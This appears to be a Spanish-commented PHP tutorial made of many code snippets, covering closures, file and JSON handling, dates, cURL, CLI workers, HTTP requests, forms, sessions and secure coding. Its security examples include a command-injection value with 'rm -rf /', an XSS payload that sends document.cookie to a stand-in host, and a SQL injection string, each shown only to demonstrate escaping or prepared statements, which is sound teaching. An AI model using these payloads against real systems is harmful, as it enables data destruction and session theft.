echo $conIva(100.0), PHP_EOL;    // sigue usando el 0.18 capturado

$contador = 0;
$incremento = function () use (&$contador): void {   // & = por REFERENCIA
    $contador++;
};
$incremento(); $incremento();
echo $contador, PHP_EOL;

class Servicio
{
    public string $etiqueta = 'svc';
}

$s = new Servicio();
$estatica = static function (): string {   // static: SIN $this, no filtra contexto
    return 'independiente';
};
echo $estatica(), ' / ', $s->etiqueta, PHP_EOL;

<?php
declare(strict_types=1);

$productos = [
    ['nombre' => 'Cafe',    'precio' => 24.90, 'stock' => 12],
    ['nombre' => 'Azucar',  'precio' => 4.50,  'stock' => 0],
    ['nombre' => 'Leche',   'precio' => 5.20,  'stock' => 30],
];

$nombres = array_map(fn ($p) => $p['nombre'], $productos);

$disponibles = array_values(array_filter(
    $productos,
    fn ($p) => $p['stock'] > 0          // conserva claves: reindexa con array_values
));

$totalValor = array_sum(array_map(fn ($p) => $p['precio'] * $p['stock'], $disponibles));

usort($productos, fn ($a, $b) => $b['precio'] <=> $a['precio']);   // desc. por precio

echo implode(', ', $nombres), ' | total=', number_format($totalValor, 2), PHP_EOL;
echo 'mas caro: ', $productos[0]['nombre'], PHP_EOL;

<?php
declare(strict_types=1);

function mayorQue(float $limite): Closure           // factory de predicados
{
    return fn (float $x): bool => $x > $limite;
}

$superaMinimo = mayorQue(10.0);
var_dump($superaMinimo(11.5), $superaMinimo(9.9));

// Composicion con callables de primera clase (8.1):
$normalizar = trim(...);
$aMayusculas = strtoupper(...);
$texto = $aMayusculas($normalizar('  cafe especial  '));
echo $texto, PHP_EOL;

<?php
declare(strict_types=1);

final class Pedido
{
    private function __construct(
        public readonly array $items,       // lista inmutable
        public readonly float $total,
    ) {
    }

    public static function vacio(): self
    {
        return new self([], 0.0);
    }

    // "modificar" = devolver UNO NUEVO:
    public function con(string $item, float $precio): self
    {
        return new self([...$this->items, $item], $this->total + $precio);
    }
}

$pedido = Pedido::vacio()
    ->con('Cafe', 24.90)
    ->con('Leche', 5.20);

print_r($pedido->items);
echo 'total: ', $pedido->total, PHP_EOL;

<?php
declare(strict_types=1);

$pedidos = ['cafe', 'azucar', 'leche', 'cafe'];

// Antes: leer al reves, de adentro hacia afuera
$antes = strtoupper(implode(', ', array_unique(array_map('trim', $pedidos))));

// Ahora: un pipeline legible
$despues = $pedidos
    |> array_map(trim(...), $)
    |> array_unique($)
    |> implode(', ', $)
    |> strtoupper($);

echo $antes, PHP_EOL;
echo $despues, PHP_EOL;

<?php
declare(strict_types=1);

final class Configuracion
{
    public function __construct(
        public readonly string $ambiente,
        public readonly bool $debug = false,
    ) {
    }
}

$prod = new Configuracion('produccion');

$dev = clone($prod, [                    // 8.5: clona Y reescribe propiedades readonly
    'ambiente' => 'desarrollo',
    'debug' => true,
]);

echo $dev->ambiente, ' debug=', $dev->debug ? 'si' : 'no', PHP_EOL;

<?php

function validarRuc(string $ruc): bool
{
    return strlen($ruc) === 11 && str_starts_with($ruc, '20');
}

#[\NoDiscard('el resultado indica si la validacion paso')]
function validarYRegistrar(string $ruc): bool
{
    return validarRuc($ruc);
}

validarYRegistrar('20512345678');        // aviso: el retorno no fue usado (void) silencia
(void) validarYRegistrar('10...');       // descarte INTENCIONAL documentado

<?php
declare(strict_types=1);

$uri = new \Uri\Uri('HTTPS://Tienda.pe:443/catalogo?pagina=2#ofertas');

echo $uri->getHost(), PHP_EOL;           // normalizado: tienda.pe
echo $uri->getPort() ?? '-', PHP_EOL;    // 443 omitido por ser default https
echo $uri->getQuery(), PHP_EOL;

$nueva = $uri->withQuery('pagina=3');
echo $nueva, PHP_EOL;                    // inmutable: devuelve instancia nueva

<?php
declare(strict_types=1);

$ruta = __DIR__ . '/notas.txt';
file_put_contents($ruta, "linea uno\nlinea dos\nlinea tres\n");

// 1) TODO el contenido de golpe (ideal < unos MB):
$todo = file_get_contents($ruta);

// 2) Un archivo en un ARRAY de lineas:
$lineas = file($ruta, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

// 3) Con cursor manual: streaming para lo grande
$fh = fopen($ruta, 'rb');                 // b = binario seguro
while (($linea = fgets($fh)) !== false) {
    echo trim($linea), ' | ';
}
fclose($fh);
echo PHP_EOL;

<?php
declare(strict_types=1);

function registrar(string $mensaje, string $nivel = 'INFO'): void
{
    $linea = sprintf(
        "[%s] [%s] %s%s",
        date('Y-m-d H:i:s'),
        $nivel,
        $mensaje,
        PHP_EOL
    );

    $fh = fopen(__DIR__ . '/app.log', 'ab');
    if ($fh === false) {
        throw new RuntimeException('Log inaccesible');
    }
    try {
        flock($fh, LOCK_EX);              // excluye escritores concurrentes
        fwrite($fh, $linea);
    } finally {
        flock($fh, LOCK_UN);
        fclose($fh);
    }
}

registrar('Pedido 1001 emitido');
registrar('Reintento de pago', 'WARN');

<?php
declare(strict_types=1);

// Exportar:
$ventas = [
    ['SKU', 'Producto', 'Unidades', 'Total'],
    ['CAF-1KG', 'Cafe especial', 3, 74.70],
    ['LEQ-1L', 'Leche evaporada', 10, 52.00],
];
$fh = fopen('ventas.csv', 'wb');
foreach ($ventas as $fila) {
    fputcsv($fh, $fila);                  // maneja comillas y separadores por ti
}
fclose($fh);

// Importar (con generador: memoria constante, cap. 18):
function filas(string $archivo): Generator
{
    $fh = fopen($archivo, 'rb');
    fgetcsv($fh);                         // descarta cabecera
    while (($fila = fgetcsv($fh)) !== false) {
        yield $fila;
    }
    fclose($fh);
}

foreach (filas('ventas.csv') as [$sku, , , $total]) {
    echo "$sku => S/ $total\n";
}

<?php
declare(strict_types=1);

mkdir(__DIR__ . '/respaldos/2026', 0777, true);   // recursivo
copy('ventas.csv', 'respaldos/2026/ventas.csv');
rename('ventas.csv', 'respaldos/2026/ventas_final.csv');
echo filesize('respaldos/2026/ventas_final.csv'), " bytes\n";
unlink('respaldos/2026/ventas.csv');

// php://temp: archivo en RAM que desborda a disco si crece mucho
$mem = fopen('php://temp', 'r+b');
fwrite($mem, 'proceso intermedio sin tocar el disco');
rewind($mem);
echo stream_get_contents($mem), PHP_EOL;
fclose($mem);

<?php
declare(strict_types=1);

$pedido = [
    'id' => 1001,
    'cliente' => 'María Ñuñez',
    'items' => [
        ['sku' => 'CAF-1KG', 'precio' => 24.90],
    ],
    'pagado' => true,
];

// Los TRES flags que casi siempre quieres juntos:
$json = json_encode($pedido, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_THROW_ON_ERROR);

echo $json, PHP_EOL;

<?php
declare(strict_types=1);
use JsonException;

$entrada = '{"ruc":"20512345678","razon":"Cafeteria El Sol","activo":true}';

try {
    $comoArray = json_decode($entrada, true, 512, JSON_THROW_ON_ERROR);
    echo $comoArray['razon'], PHP_EOL;

    $comoObjeto = json_decode($entrada, false, 512, JSON_THROW_ON_ERROR);
    echo $comoObjeto->ruc, PHP_EOL;
} catch (JsonException $e) {
    echo 'JSON invalido: ', $e->getMessage(), PHP_EOL;
}

var_dump(json_last_error() === JSON_ERROR_NONE);

<?php
declare(strict_types=1);

class Producto implements JsonSerializable
{
    public function __construct(
        private string $sku,
        private float $costoInterno,
        private float $precioVenta,
    ) {
    }

    public function jsonSerialize(): array     // TU version publica del objeto
    {
        return [
            'sku' => $this->sku,
            'precio' => number_format($this->precioVenta, 2, '.', ''),
        ];
        // costoInterno NUNCA sale por accidente
    }
}

echo json_encode(new Producto('CAF-1KG', 14.20, 24.90)), PHP_EOL;

<?php
declare(strict_types=1);

$archivo = __DIR__ . '/config.json';

function guardarConfig(string $ruta, array $datos): void
{
    file_put_contents(
        $ruta,
        json_encode($datos, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_THROW_ON_ERROR)
    );
}

function cargarConfig(string $ruta): array
{
    $bruto = file_get_contents($ruta);
    if ($bruto === false) {
        throw new RuntimeException("No existe $ruta");
    }
    return json_decode($bruto, true, 512, JSON_THROW_ON_ERROR);
}

guardarConfig($archivo, ['tema' => 'oscuro', 'iva' => 0.18]);
print_r(cargarConfig($archivo));

<?php
declare(strict_types=1);

$mutable = new DateTime('2026-08-23 10:00:00');
$manana = $mutable->add(new DateInterval('P1D'));   // ¡MUTA a $mutable!

echo 'mutable ahora dice: ', $mutable->format('Y-m-d H:i'), PHP_EOL;

$inmutable = new DateTimeImmutable('2026-08-23 10:00:00');
$futuro = $inmutable->add(new DateInterval('P1D')); // devuelve UNO NUEVO

echo 'inmutable intacto: ', $inmutable->format('Y-m-d H:i'), PHP_EOL;
echo 'futuro: ', $futuro->format('Y-m-d H:i'), PHP_EOL;

<?php
declare(strict_types=1);

$hoy = new DateTimeImmutable('now', new DateTimeZone('America/Lima'));
$vencimiento = new DateTimeImmutable('2026-12-31 23:59:59');

echo $hoy->format('d/m/Y H:i:s T'), PHP_EOL;

// Comparacion directa con operadores (ambos son DateTimeInterface):
var_dump($hoy < $vencimiento);
$dias = $hoy->diff($vencimiento);            // DateInterval calculado
echo "Faltan {$dias->days} dias\n";

// Formatos utiles para BD y APIs:
echo $vencimiento->format('Y-m-d H:i:s'), ' | ',
     $vencimiento->format(DATE_ATOM), PHP_EOL;

<?php
declare(strict_types=1);

$base = new DateTimeImmutable('2026-08-23');

$ciclo = $base
    ->modify('+7 days')                 // cada paso = instancia nueva
    ->setTime(9, 0)
    ->setTimezone(new DateTimeZone('UTC'));

echo $base->format('Y-m-d H:i T'), ' => ', $ciclo->format('Y-m-d H:i T'), PHP_EOL;

// Rangos para reportes con DatePeriod:
foreach (new DatePeriod($base, new DateInterval('P1D'), 4) as $dia) {
    echo $dia->format('D d-m'), ' | ';
}
echo PHP_EOL;

// Meses peruanos sin extension intl:
$meses = [1 => 'enero','febrero','marzo','abril','mayo','junio',
             'julio','agosto','setiembre','octubre','noviembre','diciembre'];
$n = (int) $base->format('n');
echo $base->format('j \d\e '), $meses[$n], ' \d\e ', $base->format('Y'), PHP_EOL;

<?php
declare(strict_types=1);

function desdeFormulario(string $texto): DateTimeImmutable
{
    try {
        return new DateTimeImmutable($texto, new DateTimeZone('America/Lima'));
    } catch (Exception $e) {                     // formato invalido lanza Exception
        throw new InvalidArgumentException("Fecha invalida: '$texto'");
    }
}

var_dump(desdeFormulario('2026-09-15')->format('Y/m/d'));

try {
    desdeFormulario('32/13/2026');
} catch (InvalidArgumentException $e) {
    echo $e->getMessage(), PHP_EOL;
}

<?php
declare(strict_types=1);

function httpGet(string $url): string
{
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,       // devuelve string, no echo
        CURLOPT_FOLLOWLOCATION  => true,
        CURLOPT_CONNECTTIMEOUT   => 5,        // handshake maximo
        CURLOPT_TIMEOUT          => 15,       // transferencia total
        CURLOPT_USERAGENT       => 'MiApp/1.0',
    ]);

    $cuerpo = curl_exec($ch);
    if ($cuerpo === false) {
        $error = curl_error($ch);
        curl_close($ch);
        throw new RuntimeException("Fallo de red: $error");
    }

    $codigo = curl_getinfo($ch, CURLINFO_RESPONSE_CODE);
    curl_close($ch);

    if ($codigo >= 400) {
        throw new RuntimeException("HTTP $codigo desde $url");
    }
    return $cuerpo;
}

$datos = json_decode(httpGet('https://api.github.com/zen'), true);
var_dump(is_string($datos) || is_array($datos));

<?php
declare(strict_types=1);

function httpPostJson(string $url, array $payload, ?string $token = null): array
{
    $cabeceras = [
        'Content-Type: application/json',
        'Accept: application/json',
    ];
    if ($token !== null) {
        $cabeceras[] = "Authorization: Bearer $token";
    }

    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => json_encode(
            $payload,
            JSON_UNESCAPED_UNICODE | JSON_THROW_ON_ERROR
        ),
        CURLOPT_HTTPHEADER     => $cabeceras,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT        => 20,
    ]);

    $cuerpo = curl_exec($ch);
    if ($cuerpo === false) {
        throw new RuntimeException('Red: ' . curl_error($ch));
    }
    $codigo = curl_getinfo($ch, CURLINFO_RESPONSE_CODE);
    curl_close($ch);

    return ['status' => $codigo, 'body' => json_decode($cuerpo, true)];
}

$respuesta = httpPostJson(
    'https://httpbin.org/post',
    ['pedido' => 1001, 'moneda' => 'PEN'],
    token: 'token-de-prueba'              // argumento nombrado (8.0+)
);
echo $respuesta['status'], PHP_EOL;

<?php
declare(strict_types=1);

// Se crea UNA vez en el proceso; vive entre peticiones del worker:
$compartido = curl_share_init_persistent([           // 8.5
    CURL_LOCK_DATA_DNS,
    CURL_LOCK_DATA_SSL_SESSION,
    CURL_LOCK_DATA_CONNECT,
]);

function pedir(string $url, CurlShareHandle $share): string
{
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_SHARE          => $share,             // hereda conexiones vivas
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT        => 10,
    ]);
    $rpta = (string) curl_exec($ch);
    curl_close($ch);                            // la conexion SOBREVIVE al close
    return substr($rpta, 0, 40);
}

echo pedir('https://httpbin.org/get', $compartido), PHP_EOL;
echo pedir('https://httpbin.org/ip',  $compartido), PHP_EOL;   // reusa TLS

<?php
declare(strict_types=1);

echo php_sapi_name(), PHP_EOL;        // cli | cli-server | fpm-fcgi | apache2handler...
echo PHP_SAPI, PHP_EOL;               // constante equivalente, sin llamada

function esTerminal(): bool
{
    $sapi = php_sapi_name();
    // cli-server = servidor embebido `php -S`: corre en consola PERO sirve web
    return $sapi === 'cli' || $sapi === 'cli-server';
}

var_dump(esTerminal());

<?php
declare(strict_types=1);

// Bootstrap que se adapta al mundo donde arranca:

if (!esTerminal()) {
    session_start();                       // sesiones SOLO tienen sentido en web
    header('Content-Type: text/html; charset=utf-8');
}

set_error_handler(function (int $no, string $msg, string $file, int $line): bool {
    if (esTerminal()) {
        fwrite(STDERR, "[$no] $msg en $file:$line\n");   // stderr no ensucia stdout
    } else {
        error_log("$msg en $file:$line");
    }
    return true;
});

echo ini_get('max_execution_time'), " segundos de limite\n";   // 0 en CLI = sin limite

# Un solo binario, cero Apache/Nginx para desarrollar:
php -S localhost:8000 -t public/

# Con router propio (enruta TODO por un index.php):
php -S localhost:8000 -t public/ public/router.php

php -v                 # version exacta
php -m                 # modulos cargados (busca sqlsrv, pdo_sqlsrv, curl...)
php --ini              # QUE php.ini esta leyendo (el CLI suele usar OTRO)
php -i | grep -i opcache
php -l app.php         # lint: valida sintaxis sin ejecutar

php respaldar.php --origen=/datos destino.zip --seco

<?php
declare(strict_types=1);

// $argv[0] SIEMPRE es el nombre del script:
var_dump($argc);          // 5 (script + 4 tokens)
print_r($argv);

<?php
declare(strict_types=1);

// Contrato: "o:" = -o CON valor | "s" = -s bandera sin valor
//           "archivo::" = --archivo con valor OPCIONAL
$opciones = getopt('o:s', ['origen:', 'destino:', 'seco', 'nivel::'], $indiceResto);

$origen   = $opciones['origen'] ?? $opciones['o'] ?? null;
$destino  = $opciones['destino'] ?? 'respaldo.zip';
$soloTest = isset($opciones['seco']) || isset($opciones['s']);

if ($origen === null) {
    fwrite(STDERR, "Uso: php respaldar.php --origen=RUTA [--destino=ARCHIVO] [--seco]\n");
    exit(1);                                  // codigo != 0 = fallo para scripts externos
}

echo "Respaldando $origen => $destino", $soloTest ? ' (simulacion)' : '', PHP_EOL;

// Lo que getopt NO consumio queda en $argv desde $indiceResto:
array_splice($argv, 0, $indiceResto);
foreach (array_slice($argv, 1) as $posicional) {
    echo "Argumento posicional: $posicional\n";
}

php respaldar.php -o /datos --destino=copia.zip --seco extra.txt

<?php
declare(strict_types=1);

fwrite(STDOUT, "Nombre del proyecto: ");
$nombre = trim(fgets(STDIN) ?: '');

fwrite(STDOUT, "¿Crear tests? [s/N]: ");
$respuesta = strtolower(trim((string) fgets(STDIN)) ?: 'n');
$crearTests = in_array($respuesta, ['s', 'si', 'y', 'yes'], true);

echo "Proyecto: $nombre | Tests: ", $crearTests ? 'si' : 'no', PHP_EOL;

<?php
declare(strict_types=1);
#!/usr/bin/env php

function usage(): void
{
    fwrite(STDERR, <<<'AYUDA'
Importador de ventas
  Uso: php importar.php --archivo=VENTAS.csv [--limite=N]
    --archivo   CSV origen (obligatorio)
    --limite    maximo de filas (defecto: todas)
    --ayuda     esta ayuda
AYUDA);
    exit(2);
}

$opts = getopt('', ['archivo:', 'limite::', 'ayuda']);
isset($opts['ayuda']) && usage();
isset($opts['archivo']) || usage();
$limite = (int) ($opts['limite'] ?? PHP_INT_MAX);

echo "Importando {$opts['archivo']} (max $limite filas)\n";

<?php
declare(strict_types=1);

// Sin esto, los handlers de senales no se ejecutan durante sleep():
pcntl_async_signals(true);

$corriendo = true;

$apagar = function (int $senal) use (&$corriendo): void {
    fwrite(STDERR, "Senal $senal: terminando tras la tarea actual...\n");
    $corriendo = false;
};

pcntl_signal(SIGTERM, $apagar);   // kill, systemd stop
pcntl_signal(SIGINT,  $apagar);   // Ctrl+C

$tarea = 0;
while ($corriendo) {
    $tarea++;
    echo "Procesando tarea #$tarea\n";

    // ... trabajo real aqui ...

    if ($tarea % 5 === 0) {
        gc_collect_cycles();                      // barre ciclos huérfanos
        $mb = round(memory_get_usage(true) / 1048576, 1);
        fwrite(STDERR, "  [memoria: {$mb} MB]\n");
    }

    sleep(1);                                     // en modo async, interrumpe el handler
}

echo "Apagado limpio tras $tarea tareas\n";
exit(0);

<?php
declare(strict_types=1);

final class Worker
{
    private bool $activo = true;
    private const LIMITE_MEMORIA_MB = 256;

    public function __construct(private string $nombre)
    {
        pcntl_async_signals(true);
        pcntl_signal(SIGTERM, fn () => $this->activo = false);
        pcntl_signal(SIGINT,  fn () => $this->activo = false);
    }

    public function correr(): never
    {
        $procesadas = 0;
        while ($this->activo) {
            $trabajo = $this->siguienteTrabajo();

            if ($trabajo === null) {
                sleep(2);                          // cola vacia: esperar sin quemar CPU
                continue;
            }

            try {
                $this->ejecutar($trabajo);
                $procesadas++;
            } catch (Throwable $e) {
                error_log("[$this->nombre] fallo: " . $e->getMessage());
                // NO re-lanzar: un trabajo roto no debe tumbar el worker
            }

            if ($this->memoriaExcedida()) {
                fwrite(STDERR, "Memoria alta: reinicio programado\n");
                break;                             // exit(0): supervisor lo relanza fresco
            }
        }
        fwrite(STDERR, "Cerrado. Procesadas: $procesadas\n");
        exit(0);                                   // codigo limpio para systemd/supervisor
    }

    private function siguienteTrabajo(): ?array { return null; }   // tu cola aqui

    private function ejecutar(array $trabajo): void {}

    private function memoriaExcedida(): bool
    {
        return memory_get_usage(true) > self::LIMITE_MEMORIA_MB * 1048576;
    }
}

<?php
declare(strict_types=1);

foreach (generarMillones() as $fila) {
    procesar($fila);
    unset($fila);              // libera la referencia del foreach
}                              // + gc_collect_cycles() cada N vueltas

// PDO: desactiva el buffer gigante por defecto (MySQL):
// $pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);
// Lee fila a fila como fgets (cap. 24).

<?php
declare(strict_types=1);

// shell_exec: TODO el stdout como string (stderr NO capturado):
$git = shell_exec('git log --oneline -3');
echo $git ?? '(sin salida)', PHP_EOL;

// exec: ultima linea por retorno, lineas en array por referencia:
$ultima = exec('whoami', $lineas, $codigo);
echo "salio=$ultima codigo=$codigo\n";

// system/passthru: imprimen DIRECTO al buffer (binarios con passthru):

<?php
declare(strict_types=1);

// PELIGRO MORAL: interpolar entrada del usuario sin escapar.
// $usuario = 'pepe; rm -rf /';
// shell_exec("id -u $usuario");              // ¡ejecuta lo segundo tambien!

$usuario = 'pepe; rm -rf /';                  // dato hostil simulado
$seguro  = escapeshellarg($usuario);          // lo convierte en UN solo literal
$linea   = trim((string) shell_exec("id -u $seguro 2>&1"));
echo "resultado: $linea\n";

// Regla: escapeshellarg() para CADA valor; nunca concatenes crudo.

<?php
declare(strict_types=1);

$descriptores = [
    0 => ['pipe', 'r'],    // stdin  del hijo: le escribimos
    1 => ['pipe', 'w'],    // stdout del hijo: leemos
    2 => ['pipe', 'w'],    // stderr del hijo: leemos aparte
];

$proceso = proc_open(['php', '-r', 'fwrite(STDOUT, "hola del hijo\n"); fwrite(STDERR, "aviso interno\n");'], $descriptores, $pipes);

if (!is_resource($proceso)) {
    throw new RuntimeException('No se pudo iniciar el proceso');
}

fclose($pipes[0]);                            // cerrar stdin: senal de EOF
$salida = stream_get_contents($pipes[1]);
$errores = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);

$codigo = proc_close($proceso);               // espera y devuelve exit code

echo "STDOUT: $salida", "STDERR: $errores", "exit=$codigo\n";

<?php
declare(strict_types=1);

function lanzarReporte(int $pedidoId): string
{
    $jobId = bin2hex(random_bytes(8));
    $marca = sys_get_temp_dir() . "/job_$jobId.json";
    file_put_contents($marca, json_encode(['estado' => 'en_cola', 'pedido' => $pedidoId]));

    // Detach: nohup + & redirigiendo salida; el padre SIGUE al instante:
    $script = escapeshellarg(__DIR__ . '/generar_reporte.php');
    $estado = escapeshellarg($marca);
    $id     = escapeshellarg($jobId);
    shell_exec("nohup php $script --job=$id --estado=$estado >/dev/null 2>&1 &");

    return $jobId;                              // la web responde YA con este ticket
}

function estadoDe(string $jobId): array
{
    $marca = sys_get_temp_dir() . '/job_' . preg_replace('/[^a-f0-9]/', '', $jobId) . '.json';
    $bruto = is_file($marca) ? file_get_contents($marca) : false;
    return $bruto === false ? ['estado' => 'desconocido'] : (array) json_decode($bruto, true);
}

$id = lanzarReporte(1001);
echo "Ticket: $id\n";
print_r(estadoDe($id));

<?php
declare(strict_types=1);

$metodo = $_SERVER['REQUEST_METHOD'];           // GET | POST | PUT | DELETE...
$ruta   = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);   // sin query string
$host   = $_SERVER['HTTP_HOST'];

echo "$metodo https://$host$ruta\n";

// Cabeceras personalizadas llegan con prefijo HTTP_ y guiones a guiones bajos:
// X-Token: abc123  =>  $_SERVER['HTTP_X_TOKEN']
$token = $_SERVER['HTTP_X_TOKEN'] ?? '(sin token)';
echo "X-Token: $token\n";

// Cuerpos JSON (APIs): NO llegan a $_POST; viven crudos aqui:
$cuerpo = file_get_contents('php://input');
$datos  = json_decode($cuerpo ?: '{}', true);
var_dump($datos);

<?php
declare(strict_types=1);

function responderJson(mixed $datos, int $codigo = 200): never
{
    http_response_code($codigo);
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($datos, JSON_UNESCAPED_UNICODE | JSON_THROW_ON_ERROR);
    exit;
}

responderJson(['ok' => true, 'mensaje' => 'Pedido registrado']);

<?php
declare(strict_types=1);

// Redireccion tras un POST (patron PRG completo en el cap. 33):
http_response_code(303);                 // See Other
header('Location: /pedidos/' . $idNuevo);
exit;

<?php
declare(strict_types=1);

$ruta = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$metodo = $_SERVER['REQUEST_METHOD'];

$match = match ("$metodo $ruta") {
    'GET /pedidos'     => fn () => responderJson(['pedidos' => []]),
    'GET /salud'       => fn () => responderJson(['estado' => 'ok']),
    default            => fn () => responderJson(['error' => 'no encontrado'], 404),
};

$match();

<?php
declare(strict_types=1);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // ... guardar en BD ...

    session_start();
    $_SESSION['flash'] = 'Producto registrado';
    header('Location: /productos/crear');    // 303 See Other
    exit;                                    // sin esto, F5 reenvia el POST
}

// GET: mostrar el formulario (con flash si existe)
session_start();
$flash = $_SESSION['flash'] ?? null;
unset($_SESSION['flash']);

<?php
declare(strict_types=1);

function validarProducto(array $entrada): array          // [] = valido, sino errores
{
    $errores = [];

    $nombre = trim($entrada['nombre'] ?? '');
    if ($nombre === '') {
        $errores['nombre'][] = 'El nombre es obligatorio';
    } elseif (mb_strlen($nombre) > 80) {
        $errores['nombre'][] = 'Maximo 80 caracteres';
    }

    $precio = filter_var($entrada['precio'] ?? null, FILTER_VALIDATE_FLOAT);
    if ($precio === false || $precio <= 0) {
        $errores['precio'][] = 'Precio debe ser numero mayor a 0';
    }

    $stock = filter_var($entrada['stock'] ?? null, FILTER_VALIDATE_INT, [
        'options' => ['min_range' => 0, 'max_range' => 100000],
    ]);
    if ($stock === false) {
        $errores['stock'][] = 'Stock debe ser entero entre 0 y 100000';
    }

    $correo = filter_var($entrada['correo_proveedor'] ?? '', FILTER_VALIDATE_EMAIL);
    if ($correo === false) {
        $errores['correo_proveedor'][] = 'Correo invalido';
    }

    return $errores;
}

$errores = validarProducto($_POST + ['precio' => '-5']);
print_r(array_keys($errores));

<!-- dentro de crear.php -->
<form method="post" action="/productos/crear">
  <label>Nombre
    <input name="nombre" value="
      <?= htmlspecialchars($entrada['nombre'] ?? '', ENT_QUOTES, 'UTF-8') ?>">
    </label>
    <?php if (isset($errores['nombre'])): ?>
      <span class="error"><?= htmlspecialchars($errores['nombre'][0]) ?></span>
    <?php endif; ?>

  <button type="submit">Guardar</button>
</form>

<?php
declare(strict_types=1);

const MAX_FOTO = 2 * 1024 * 1024;            // 2 MB

function subirFoto(array $archivo): string
{
    if (($archivo['error'] ?? UPLOAD_ERR_NO_FILE) !== UPLOAD_ERR_OK) {
        throw new RuntimeException('Error al subir (codigo ' . ($archivo['error'] ?? '?') . ')');
    }
    if ($archivo['size'] > MAX_FOTO) {
        throw new RuntimeException('La foto excede 2 MB');
    }

    // El nombre original NO se confia: genera uno propio:
    $extension = pathinfo($archivo['name'], PATHINFO_EXTENSION);
    if (!in_array(strtolower($extension), ['jpg', 'jpeg', 'png'], true)) {
        throw new RuntimeException('Solo JPG o PNG');
    }

    $destino = __DIR__ . '/uploads/' . bin2hex(random_bytes(16)) . '.' . strtolower($extension);
    if (!move_uploaded_file($archivo['tmp_name'], $destino)) {
        throw new RuntimeException('No se pudo mover el archivo');
    }
    return basename($destino);
}

try {
    echo 'Guardada como: ', subirFoto($_FILES['foto'] ?? []), PHP_EOL;
} catch (RuntimeException $e) {
    echo 'Rechazado: ', $e->getMessage(), PHP_EOL;
}

<?php
declare(strict_types=1);

// El atacante se registra como nombre:
$atacante = '<script>fetch("https://mal.pe?c="+document.cookie)</script>';

// MAL: el script corre en cada visitante que vea su perfil
// echo "<h1>$atacante</h1>";

// BIEN: escapado con contexto HTML + comillas cubiertas:
echo htmlspecialchars($atacante, ENT_QUOTES, 'UTF-8'), PHP_EOL;

function e(?string $texto): string     // helper de una letra: escapar sin pensar
{
    return htmlspecialchars($texto ?? '', ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

echo e('Comentario <b>"importante"</b> de Ñuñez'), PHP_EOL;

<?php
declare(strict_types=1);

// $pdo = new PDO(...);  (conexion completa en cap. 36)

$ruc = "' OR '1'='1";                    // intento clasico de evasión

// FATAL: concatenar. La cadena rompe la consulta y devuelve TODOS los clientes.
// $pdo->query("SELECT * FROM clientes WHERE ruc = '$ruc'");

// SEGURO: el driver separa codigo de datos por diseño:
$stmt = $GLOBALS['pdo']->prepare('SELECT id, razon FROM clientes WHERE ruc = ?');
$stmt->execute([$ruc]);
var_dump($stmt->fetchAll());             // cero resultados: el dato es solo texto

<?php
declare(strict_types=1);
session_start();

if (empty($_SESSION['csrf'])) {
    $_SESSION['csrf'] = bin2hex(random_bytes(32));
}

// En el formulario: <input type="hidden" name="csrf" value="">

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $enviado = $_POST['csrf'] ?? '';
    if (!hash_equals($_SESSION['csrf'], $enviado)) {   // comparacion a prueba de timing
        http_response_code(403);
        exit('Token CSRF invalido');
    }
    // ... procesar con confianza ...
}

<?php
declare(strict_types=1);

// Al registrar: hash automatico bcrypt/argon2 con salt incluido:
$hash = password_hash('MiClave2026!', PASSWORD_DEFAULT);
echo substr($hash, 0, 29), "...", PHP_EOL;

// Al iniciar sesion:
if (password_verify('MiClave2026!', $hash)) {
    echo 'Bienvenido', PHP_EOL;
    // Rehash transparente si PHP mejoro el algoritmo por defecto:
    if (password_needs_rehash($hash, PASSWORD_DEFAULT)) {
        // UPDATE usuarios SET hash = password_hash(...) WHERE id = ?
    }
}
// JAMAS: md5(), sha1(), sha256() "con sal casera". Ni base64. Nunca.

<?php
declare(strict_types=1);

// setcookie(nombre, valor, opciones) — el array de opciones (7.3+) se lee solo:
setcookie('tema', 'oscuro', [
    'expires'  => time() + 60 * 60 * 24 * 30,   // 30 dias
    'path'     => '/',
    'secure'   => true,                          // SOLO via HTTPS
    'httponly' => true,                          // invisible para JavaScript
    'samesite' => 'Lax',                         // mitiga CSRF entre sitios
]);

// Leer (llega en la SIGUIENTE peticion):
$tema = $_COOKIE['tema'] ?? 'claro';

// Eliminar: misma cookie con expiracion en el pasado:
setcookie('tema', '', ['expires' => time() - 3600, 'path' => '/']);

<?php
declare(strict_types=1);
session_start();                                 // PRIMERA linea ejecutable

$_SESSION['carrito'] ??= [];                     // inicializar si no existe
$_SESSION['carrito'][] = ['sku' => 'CAF-1KG', 'cant' => 2];

echo session_id(), PHP_EOL;                      // la llave que viaja en la cookie
print_r($_SESSION['carrito']);

<?php
declare(strict_types=1);
session_start();

function iniciarSesion(int $usuarioId): void
{
    session_regenerate_id(true);     // ANTI FIJACION: id nuevo tras autenticar
    $_SESSION['usuario_id'] = $usuarioId;
    $_SESSION['login_at'] = time();
}

function usuarioActual(): ?int
{
    // Sesion inactiva demasiado tiempo = cerrar:
    if (isset($_SESSION['login_at']) && time() - $_SESSION['login_at'] > 1800) {
        session_destroy();
        return null;
    }
    return $_SESSION['usuario_id'] ?? null;
}

iniciarSesion(42);
var_dump(usuarioActual());

<?php ... (continuacion)

function flash(string $mensaje): void
{
    $_SESSION['flash'] = $mensaje;
}

function tomarFlash(): ?string
{
    $m = $_SESSION['flash'] ?? null;
    unset($_SESSION['flash']);               // un uso y muere
    return $m;
}

flash('Compra registrada con exito');
var_dump(tomarFlash());
var_dump(tomarFlash());                      // segunda vez: ya no existe

<?php
